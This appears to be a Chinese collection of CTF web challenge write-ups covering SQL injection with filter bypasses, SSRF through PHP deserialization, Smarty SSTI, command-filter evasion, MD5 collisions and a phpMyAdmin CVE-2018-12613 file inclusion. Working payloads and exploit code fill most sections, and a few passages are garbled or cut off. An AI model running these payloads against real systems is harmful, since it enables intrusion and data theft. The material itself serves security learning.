[网鼎杯 2018]Fakebook 题目
访问robots.txt得到下面内容
访问下载下来得到一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
这里存在一个ssrf
就是curl_exec使用不当会导致ssrf,然后我们回到首页,注册一个账号,然后点进去后,发现有一个类似sql注入的东西
然后就怀疑这里会不会存在sql注入
于是尝试手工注入:
?no = 1 and 1=1 //回显正常
?no = 1 and 1=2 //错误回显
铁定数字型注入,于是我们看看表中有多少列,确定一下列数,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //错误
所以确定列数,有4列
于是我们尝试union联合注入:
?no = -1 union select 1,2,3,4—+
结果有这么一段话,被发现了。
然后,通过大佬wp中发现,过滤了union select (这里过滤的不是单个,而是整个进行了过滤)所以可以用下面的方式进行绕过
可以用过union/**/select绕过
于是我们再次构造payload:
?no = -1 union/**/select 1,2,3,4—+
回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。
然后我们开始查数据库和数据库信息
?no=-1 union/**/select 1,database(),3,4—+ //数据库名
?no=-1 union/**/select 1,user(),3,4—+ //数据库信息
是root用户
发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4—+
这是非预期解
接下来是预期解
爆数据库表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()—+
获得一张users表
然后爆字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’—+
这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容:
?no=-1 union//select/ /1,group_concat(no,’~’,username,’~’,passwd,’~’,data),3,4//from/ /fakebook.users
是一个序列化后的值,然后结合我们上面获得到的源码来进行分析
就是可以控制博客的值来进行ssrf
poc
1 2 3 4 5 6 7 8 9 10 11 <?php class UserInfo { public $name = "admin" ; public $age = 1 ; public $blog = "file:///var/www/html/flag.php" ; } $res = new UserInfo ();echo serialize ($res );
payload
1 O:8 :"UserInfo" :3 :{s:4 :"name" ;s:5 :"admin" ;s:3 :"age" ;i:1 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;}
根据之前的注入可知,有回显的是第二位,也就是username
字段,data
对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入
对下面的东西进行base64编码就行了
[RoarCTF 2019]Easy Java 这篇文章讲了源码泄露的例子
题目
登录框是弱密码
admin/admin888
发现没啥东西,然后点击下面的help的话,就会出现这个东西
并且它的url也很有意思,貌似可以下载文件
发现get不行
试试post
可进行文件的下载
打开后啥也没有,尝试去看看会不会存在源码泄露
存在源码泄露
这像是文件存放的路径
读取FlagController.class
1 filename=WEB-INF/classes/com/wm/ctf/FlagController.class
这个路径的话写过java的就能懂了
下载文件后就可以拿到flag了
把文件内的编码进行base64解码就行了
[BJDCTF2020]The mystery of ip 题目
打开界面,转到flag下面,发现展示我IP的一个界面,看到这个就突然想到了 X-Forwarded-For
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。说白了就是检测外来接入的IP地址的东西,之前做题目的时候经常会遇到限制只能用默写特定的ip访问的题目,抓包之后改他就对了。
进入环境,发现还是那个熟悉的页面,hint里给我们提示了ip,在flag.php那里尝试xff头,发现成功回显,说明回显的点在xff头那里。猜测是SSTI。
确实是成功修改了
返回了49,说明不是jinja2的ssti
所以就通过判断来确定是上面的哪种类型
就是通过这张图来判断ssti的类型
由此来判断是smarty的ssti模板注入
smarty ssti
知道了之后就直接写payload
1 2 3 {if system ("cat /flag" )}{/if } or {system ("cat /flag" )}
能使用通配符
[网鼎杯 2020 朱雀组]phpweb 题目
这里给了个date()函数,然后下面就出现个时间,但还是不知道有什么用
抓个包
看到了这个东西,就猜测是func是函数,p是内容
那么我们就进行测试一下
抓取到了源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
这里的话提供的这个类才是重点,不会进行过滤,可以直接用自己想用的函数
然后进行序列化,然后在用反序列化函数将命令进行执行
序列化代码(序列化之后注意将空格修改为+号,或者采用get方式进行传输):
1 2 3 4 5 6 7 8 9 <?php class Test { var $p = "find / -name flag*" ; var $func = "system" ; } $test = new Test ();$str = serialize ($test );print ($str );?>
poc
1 2 3 4 5 6 7 8 9 <?php class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; } $test = new Test ();$str = serialize ($test );print ($str );?>
然后使用反序列化函数进行反序列化
完成绕过
还有一种解法
\system可以绕过黑名单的原因:php内的” \ “在做代码执行的时候,会识别特殊字符串。
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
REMOTE_ADDR 是你的客户端跟你的服务器“握手”时候的IP。如果使用了“匿名代理”,REMOTE_ADDR将显示代理服务器的IP。 HTTP_CLIENT_IP 是代理服务器发送的HTTP头。如果是“超级匿名代理”,则返回none值。同样,REMOTE_ADDR也会被替换为这个代理服务器的IP。$_SERVER[‘REMOTE_ADDR’]; //访问端(有可能是用户,有可能是代理的)IP $_SERVER[‘HTTP_CLIENT_IP’]; //代理端的(有可能存在,可伪造) $_SERVER[‘HTTP_X_FORWARDED_FOR’]; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
这篇文章讲的透彻
escapeshellarg()和escapeshellcmd()
直接找到了上面这篇文章,这两个函数在一起用会有些问题
这篇wp写的非常详细,我这里就不写了
对于这些转义字符和那两个函数执行的过程,认真看看就能明白了
[GXYCTF2019]禁止套娃 题目
没啥东西,但是扫目录的时候发现了
这四个git东西,但是都下载下来没看到啥有用的信息,然后我们就去看看其相对应的工具来看看能不能拿到什么有用的信息
尝试使用 GitHack 看看是不是源码泄露
1 https://github.com/lijiejie/GitHack
拿到了源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
扒下了网站的源码 好了,现在就是代码审计了 最吸引眼球的就是 eval的一句话木马,题目又加了好多过滤限制了REC 首先是 php伪协议 data协议 filter协议 都不能使用了 然后该网站使用了正则匹配 其实这就是无参数的rce
如果如果’;’===pregreplace(…),那么就执行exp传递的命令 **(?R)? : (?R)代表当前表达式,就是这个(/[a-z, ]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))*
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这个就是得要求传入的exp得全部杯匹配进行替换,替换只剩下 ; 才行,和题目说的一样 —-> 套娃
无参数REC 一般有三种绕过姿势:
gettallheaders()
get_defined_vars()
session_id() 具体可以参考博客
payload
1 exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))))
1 2 3 4 5 6 highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名 next() 输出数组中的当前元素和下一个元素的值。 array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值) scandir() 函数返回指定目录中的文件和目录的数组。 pos() 输出数组中的当前元素的值。 localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
原理
loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。
方法二 上面 的正则过滤中 其实并没有过滤掉 session_id() 所以我们可以使用 session_id来获取 flag session_id() 可以用来获取/设置 当前会话 ID。 在我们使用 session_id()的时候 需要使用session_start()来开启session会话 我们尝试构造payload
1 ?exp=highlight_file( session_id(session_start()));
session_id(session_start()) 使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。 session_id()可以获取到当前的session id。
PHPSESSID来找到服务端的session文件,通过对这个session文件的读写操作即实现了session的超全局变量属性
[BJDCTF2020]ZJCTF,不过如此 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
这里我想到伪协议的原因是因为访问next.php的时候,访问不了,而且这里还是个include
payload
拿到了next.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
这里主要涉及到preg_replace
的一个RCE漏洞 preg_replaceRCE
1 preg_replace ( '/(' . $re . ')/ei' ,'strtolower("\\1")' , $str );
主要就是构造preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
大概就是把所有字符替换为函数执行结果。 但是GET传.*=xxx
会出问题,自动将第一个非法字符转化为下划线(看链接),所以构造:
同时post一个cmd=system("cat /flag");
\S*表示连续匹配多个非空白字符
payload
1 ?\S*=${getFlag ()}&cmd=system ('cat /flag' );
[GWCTF 2019]我有一个数据库 题目
考点:phpadmin 4.8.1远程文件包含漏洞 (CVE-2018-12613)
这里扫目录扫出来phpmyadmin
看到版本号
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
【首发】phpmyadmin4.8.1后台getshell
上面的两个链接是对这个漏洞的讲解,简单来说,就是这个漏洞的源文件(index.php)存在解码漏洞,源码内对url进行了?的分割,在分割前,又对参数进行了urldecode,且如果?号前面的文件就是taget在白名单里,就可以绕过,这样我们一是令target=db_sql.php,而是在传参使对?进行二次url编码,即?变为%253f
payload
1 url/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]Mark loves cat 题目
是一个网站
扫一下网址发现/.git 然后猜测是不是git源码泄露
用GitHack来测试一下
发现存在源码泄露
然后读取得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;}
exit 输出一条消息,并退出当前脚本
我们进行代码审计 在这关我们绕过三个 if 函数 直接echo 明显不现实 所以突破点就是那三个 exit
1 2 3 4 5 6 上面我们要想绕过 需要 get中参数必须含有 $ x 同时$ x不能含有flag 存在get参数 或者 存在post参数 post参数恒等于 flag 或者 get参数恒等于 falg 当我们到达最后的时候fal也被重置了
可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个 $ 符号
1 2 3 4 $a = 'b' ;$b = 'bb' ;echo $$a ;
本关的核心代码为:
1 2 3 4 5 6 7 foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as x => $y ){ $$x = $$y ; }
我们可以利用 foreach 进行变量重覆盖
在这一关可以执行输出内容地方有两个函数 exit 和 echo
第一个 exit(最后讲)
第二个 exit——覆盖 yds 我们的思路就是让flag变量覆盖到yds上,在执行exit($yds); 的时候输出flag
payload
1 2 3 foreach ($_GET as $x => $y ){ $$x = $$y ; }
他输出$yds
。我们只需让$yds=$flag
就好了 由于我们输入的变量是yds=flag 所以$x
=yds $y
=flag$$x
= $$y
所以 $yds=$flag
flag变量就是 我们要的东西 exit($yds)。就是echo $flag。
第三个——覆盖 is
payload
前半段和前面的方法原理相同,让flag覆盖is 后面的flag=flag
—>$flag
=$flag
目的是为了符合第三个if需求:($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
进而输出 flag
第一个——覆盖handsome
payload
1 ?handsome=flag&flag=x&x=flag
handsome=flag不用说 就是让$handsome
=$flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome
这里的值表面是 x 但前面我们进行了变量覆盖使得 x=flag 所以在这里我们输出x的值就是flag的值
[安洵杯 2019]easy_web 题目
发现他的url有点猫腻
一个img一个cmd
把img里面的东西进行解码查看一下
经过两次base64和一次16进制解码得到 那么我们可以尝试一下进行index.php的查看 逆着编码就行了
查看源码,并进行base64解码得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url (./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
通过源码解读,可以发现file参数的作用应该就是用来读这个源码的,下面应该用不到他了,现在主要就是传cmd参数和post的a和b。
首先是cmd参数的过滤问题,他过滤了我所知道的所有能查看文件的命令,所以这个地方能绕过就更好了,实际上这的确是可以绕过的。
能绕过的关键就出在反斜杠上,上测试结果就知道了。
本地测试代码
1 2 3 4 5 6 7 8 9 <? $cmd = $_GET ['cmd' ];if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { echo $cmd ; } ?>
传参的内容及结果:
1 2 3 4 5 6 7 8 ?cmd=ls forbid ~ ?cmd=l\s l\s ?cmd=\ \
对反斜杠不进行禁止,在linux中反斜杠也不影响命令的执行
这样,前面的反斜杠可以绕过检测,后面反斜杠还不影响命令的正常执行,那这不就等于过滤了个寂寞嘛。
过了preg_match的检测,最后一步就是过md5的强碰撞了,也就是本题的核心。
之前做的md5的题也用了md5的强碰撞(准确来讲应该叫强比较),当时是用传数组的方法通过检测的,而现在不可以这样做了,因为他多了一步强转的操作,这步操作就会使数组失效,所以得找工具或者找别人提供的可以进行md5强碰撞的内容来测试了。
这里找到两种版本,用谁都一样(仔细观察可以发现他两是一样的)
1 2 3 4 5 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里得需要用burpsuit来传参
成功拿到flag
[WUSTCTF2020]朴实无华 题目
扫目录发现robots.txt文件
发现有个php文件
和名字是一样的,是一个假的flag
然后对这个页面进行抓包查看一下
发现回应头有个文件
读到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>" ; }else { die ("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�" ); } }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>" ; else die ("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�" ); }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>" ; system ($get_flag ); }else { die ("蹇埌闈炴床浜�" ); } }else { die ("鍘婚潪娲插惂" ); } ?>
就是绕过if判断
level1
进行分析level 1发现是intval函数,此函数在处理数据时会在接触到字符串时停止,因此如果输入100e2之类的数据,会解释称100,但后面在执行+1时,100e2是解释称10000的,因此此处使用100e2绕过
level2
进行分析level 2发现是md5的弱类型比较,==在比较数据的时候会进行类型的转换,因此只需要查找这种数据就行,此处采用:0e215962017,结果如下:
类型转化后两个都为0,所以相等
level3
strstr 的意思
第三处过滤,对cat和空格进行过滤,因此先采用ls或dir来获取目录信息
payload
1 /fl4g.php?num=100e2 &md5=0e215962017 &get_flag=ca\t$IFS$1 fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[BJDCTF2020]Cookie is so stable 题目
以Twig模板为例浅学一手SSTI
在flag页面进行尝试的时候发现,这个模板是 Twig 模板引擎
也就是说是考查ssti的
尝试RCE ,发现似乎会检测输入的内容
题目提示是cookie,那我们就去cookie处看看
那我们就尝试在user处进行RCE
拿到flag
[强网杯 2019]高明的黑客 题目
给了一个提示,说是网站源码
下载下来查看
足足有36万行代码
所以我们就得写个脚本来查看一下哪些是有用的了
这道题就是考察脚本的编写能力
大佬写的wp
看大佬写的就行了
[安洵杯 2019]easy_serialize_php 题目
拿到源码
测试后发现被拦截了,可能是PHP关键字被拦截了,也可能是oG被禁用了,先试着绕php,后缀可以将php改成phtml
文件的内容<?php ?> -oG 1.phtml ‘1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 进行了escapeshellarg()与escapeshellcmd()函数处理保护,没法产生文件 这就是为什么要加引号的原因 这和之前的一题有点像 ## [MRCTF2020]PYWebsite 题目 ![image-20230408213950745](../images/image-20230408213950745.png) 查看源码发现 ```javascript function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){ alert("您通过了验证!"); window.location = "./flag.php" }else{ alert("你的授权码不正确!"); } }else{ alert("请输入授权码"); } }
然后就直接去访问flag.php
这两点进行了提示
最后拿到了flag
[NPUCTF2020]ReadlezPHP 题目
发现了题目给的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]); 2023 -04 -08 01 :46 :38
这里话直接构造system(xxxx)的话是不行的,因为system被过滤了
首先这里需要利用assert 函数,assert会判断应该表达式是否成立,返回true或false,is_numeric函数将检测变量是否为数字或数字字符串,代码如下
1 2 3 4 <?php $a = "123" ;echo assert (is_numeric ($a ));?>
phpinfo(true) 或者 phpinfo(1) 都是可以直接执行的 还有一个小知识点 phpinfo() 执行是会返回1的 也就是true
也是会执行的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "phpinfo()" ; $this ->b = "assert" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;echo serialize ($c ); ?>
[CISCN 2019 初赛]Love Math 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
这里和ctfshow里面的一道题几乎一模一样,就是考查利用函数的转化来进行做题
就是使用GET逃逸来进行做题
80个字符比较少,想办法构造、_
、[
、]
都不能用,同时GET
必须是大写,很难直接构造。
payload
1 $pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));($$pi ){pi}(($$pi ){abs})&pi=system&abs=tac flag.php
1 2 3 4 base_convert(37907361743,10,36) => "hex2bin" dechex(1598506324) => "5f474554" $pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串 ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
四种方法
[SWPU2019]Web1(sql注入) 题目
一个登录框
这里尝试进行注册后,发现admin用户已经存在,所以就尝试自己注册一个账号进行登录
登录界面
用万能密码进行测试的时候发现
fuzz测试结果
1 2 3 4 5 6 7 8 9 10 11 空格被替换为空 or and join --+ # updatexml extractvalue exp floor ...
所以不能用注释之后,我们就尝试进行闭合
先需要判断有多少字段,order by
不能使用,可以使用group by
或者into @a, @b, @c, ...
发布广告(’ or 1=1)进行尝试,进行测试时发现空格、or、#、—+、and等进行了过滤,目前基本可以确定注入点在这个地方,在进行注入的时候我们需要先判断列数,payload:1’//group/ /by/**/n,’,n为整数(因为对or进行了过滤,导致order无法使用,因此这里才采用group by来确定列数),最终得到n为22,结果如下:
发现一共有23列,那么我们就尝试一下看哪有回显
1 1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
发现23位置有回显,那么我们就利用这两个位置来进行查询
查数据库
1 title='union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
查出数据库名,因为or被过滤了
查表名,因为这里过滤or
所以也无法使用information_schema
表,也没有sys
表,所以使用mysql.innodb_table_stats
